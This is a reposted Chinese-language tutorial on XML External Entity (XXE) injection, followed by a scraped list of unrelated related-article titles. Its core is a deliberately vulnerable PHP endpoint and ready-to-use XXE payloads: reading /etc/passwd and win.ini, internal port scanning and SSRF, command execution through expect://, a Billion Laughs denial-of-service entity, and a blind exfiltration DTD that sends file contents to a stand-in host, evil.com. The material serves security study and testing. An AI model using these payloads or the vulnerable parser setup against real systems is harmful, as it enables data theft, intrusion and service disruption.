4.XXE (XML External Entity Injection)
XXE (XML External Entity Injection)
0x01 什么是XXE
XML外部实体注入
若是PHP,libxml_disable_entity_loader设置为TRUE可禁用外部实体注入
0x02 XXE利用
简单文件读取
基于file协议的XXE攻击
XMLInject.php
<?php # Enable the ability to load external entities libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument();# http://hublog.hubmed.org/archives/001854.html # LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值 # LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure$creds = simplexml_import_dom($dom); $user = $creds->user; $pass = $creds->pass;echo "You have logged in as user $user";`?
file_get_content('php://input')接收post数据,xml数据
XML.txt
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <creds> <user>&xxe;</user> <pass>mypass</pass>`</creds>
导致可以读出etc/passwd文件
在使用file://协议时,有以下几种格式:
file://host/path * Linuxfile:///etc/passwd * Unixfile://localhost/etc/fstabfile:///localhost/etc/fstab * Windowsfile:///c:/windows/win.inifile://localhost/c:/windows/win.ini *(下面这两种在某些浏览器里是支持的)file:///c|windows/win.inifile://localhost/c|windows/win.ini
XML文档是用PHP进行解析的,那么还可以使用php://filter
协议来进行读取。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini"> ]> <root><foo>&content;</foo></root>
基于netdoc的XXE攻击
XML文档是用Java解析的话,可利用netdoc
<?xml version="1.0"?> <!DOCTYPE data [ <!ELEMENT data (#PCDATA)> <!ENTITY file SYSTEM "netdoc:/sys/power/image_size"> ]> <data>&file;</data>
端口扫描
加载外部DTD时有两种加载方式,一种为私有private
,第二种为公共public
。
私有类型DTD加载:
<!ENTITY private_dtd SYSTEM "DTD_location">
公共类型DTD加载:
<!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">
在公共类型DTD加载的时候,首先会使用DTD_name
来检索,如果无法找到,则通过DTD_location
来寻找此公共DTD。利用DTD_location
,在一定的环境下可以用来做内网探测。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY portscan SYSTEM "http://localhost:3389"> ]> <root><foo>&portscan;</foo></root>
因解析器种类不同,所以针对XXE攻击进行端口扫描需要一个合适的环境才能够实现,例如:有明显的连接错误信息。
利用DTD进行数据回显
有时读取文件时没有回显,这时可以利用DTD参数实体的特性将文件内容拼接到url中,达到读取文件的效果。
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root[ <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini"> <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd"> %dtd; %send;]><root></root>
evil.dtd
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://evil.com/?content=%file;'>">%payload;
在evil.dtd中将%file实体的内容拼接到url后,然后利用burp等工具,查看url请求就能获得我们需要的内容
远程命令执行
需要 PHP开启了PECL上的Expect扩展
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY content SYSTEM "expect://dir .">]><root><foo>&content;</foo></root>
攻击内网网站
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY exp SYSTEM "http://192.168.1.103/payload">]><root><foo>&exp;</foo></root>
利用外部实体构造payload向内网其他机器发出请求
DDoS
最典型的案例Billion Laughs 攻击
<!DOCTYPE data [ <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> ]> <data>&a4;</data>
DTD:
普通实体:DTD中定义,XML中使用,使用格式: &名;
参数实体:DTD中定义,定义的时候要用%,DTD中使用,使用格式: %名;
普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。
如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。
0x03 XXE漏洞挖掘
提交POST请求XML文件
提交一个POST请求,请求头加上Content-type:application/xml
同时添加测试代码
<?xml version="1.0"encoding="utf-8"?> <test>cat</test>
通过OOB(Out-of-band)方法远程访问文件测试
- 自建一个网站开启80端口
- 在测试网站提交payload,如下
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/"> ]> <GeneralSearch>&dtgmlf6ent;</GeneralSearch>
3.查看网站返回内容
4.查看自建服务器访问日志,是否有DTD文件等请求
0x04 XXE自动化工具
XXEinjector
0x05 参考链接
https://b1ngz.github.io/XXE-learning-note/
http://colesec.inventedtheinternet.com/attacking-xml-with-xml-external-entity-injection-xxe/
https://security.tencent.com/index.php/blog/msg/69
http://rickgray.me/2015/06/08/xml-entity-attack-review.html
http://www.cnblogs.com/mengdd/archive/2013/05/30/3107361.html
http://www.freebuf.com/articles/web/97833.html
https://zhuanlan.zhihu.com/p/24275040
转载于:https://www.cnblogs.com/bmjoker/p/9452376.html
4.XXE (XML External Entity Injection)相关推荐
- 【悟空云课堂】第二十三期:对XML外部实体引用的不当限制(CWE-611 :Improper Restriction of XML External Entity Reference)
关注公众号"中科天齐软件安全中心"(id:woocoom),一起涨知识! 该栏目为中科天齐全新规划的悟空云课堂,每周五下午18:00准时上线,旨在科普软件安全相关知识,助力企业有效 ...
- XML External Entities 攻击(XML外部实体注入)
使用配置的 XML 解析器无法预防和限制外部实体进行解析,这会使解析器暴露在 XML External Entities 攻击 之下 说明: XML External Entities 攻击可利用能够 ...
- XXE(xml外部实体攻击)
1.概念 XXE(XML External Entity)是指xml外部实体攻击漏洞.XML外部实体攻击是针对解析XML输入的应用程序的一种攻击.当包含对外部实体的引用的XML输入被弱配置XML解析器 ...
- XXE(XML外部实体注入)漏洞
如果你的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么你很有可能会受到XXE的攻击.XXE是一种非常常见的漏洞类型,我们几乎每天都会碰到它 什么是 ...
- pikachu XXE (XML外部实体注入)(皮卡丘漏洞平台通关系列)
目录 一.来自官方的介绍以及来自民间的扩展 1.pikachu官方简介 2.小女子之前画的脑图 3.两个不错的博客 二.小白菜的闯关 1.查看系统文件内容 2.查看php源代码 3.爆破开放端口 三. ...
- AndroidStudio报错:Emulator: I/O warning : failed to load external entity file:/C:/Users/Administrator
场景 在进行Android Studio的.Android Studio目录从C盘修改为其他目录后,新建App启动提示: Emulator: I/O warning : failed to load ...
- failed to load external entity file:/C:/Users/fmm/.AndroidStudio3.4/config/options/updates.xml
运行android studio 自带的模拟机的时候提示这样的问题 这个问题自己的处理方法,简单直接,直接把存放模拟机的目录删除了 然后重新下载就好了,,这个删除最好全部都删除,刚开始只是删除模拟机, ...
- Lab: Exploiting XXE using external entities to retrieve files:利用外部实体利用 XXE 来检索文件...
利用XXE检索文件 要执行从服务器的文件系统中检索任意文件的 XXE 注入攻击,您需要通过两种方式修改提交的 XML: 引入(或编辑)DOCTYPE定义包含文件路径的外部实体的元素. 编辑应用程序响应 ...
- SOAP-ERROR: Parsing WSDL: failed to load external entity怎么办?
这个错误是我们ehr同步人员和部门信息接口报的错,直接访问WSDL也能正常返回 测试发现产生这个错误与PHP版本有关,版本高的不会出现这个问题. 解决方案: 1.修改服务器网关配置,就是OpenSSL ...
最新文章
- 阿里巴巴发布AI养蜂系统
- download first at netease music
- 无忧计算机二级试题题库,全国计算机二级MS Office试题
- [Android源码]Android源码之高仿飞鸽传书WIFI热点搜索与创建(一)
- 对cookie与session的理解
- 用Notepad++来编写第一个HTML网页程序,你也可以!!!
- sqlmap --os-shell反制小思路
- js工作笔记003---js编写习惯_提高网页显示速度
- python与excel-Python与Excel(1)
- Android7.0以后的ninja编译系统
- 如何导出微信聊天记录
- 文本表示与文本特征提取的区别
- 凡是过往,皆为序章。|2021年终总结
- 多元线性回归多重共线性的危害
- 解决Clock skew detected.
- C盘占用空间大如何清理
- 计算机存储介质清除工具,天桥科技存储介质信息消除工具
- GPG(GnuPG)的安装和使用
- 基于Android平台实现人脸识别
- Scrapy 源码分析之 DepthMiddleware
热门文章
- fedora nginx php,在fedora16下安裝nginx + php-fpm
- css3位移过度效果,详解Css3新特性应用之过渡与动画
- php pdo mysql类源码_完整示例php+pdo实现的购物车类
- 怎么用wifi进e站_忘记wifi密码怎么办,用这招可以知道电脑中的wifi密码
- android view绘制速度,关于android ui的优化 view 的绘制速度
- win8计算机配置怎么看,win8怎么看电脑配置?win8电脑配置的查看方法
- 突破次元壁障,Python爬虫获取二次元女友
- java –cp_Java设置–用Java设置
- java编程工具 初学者_面向初学者的Java编程在线课程
- 构造函数和复制函数java_用Java复制构造函数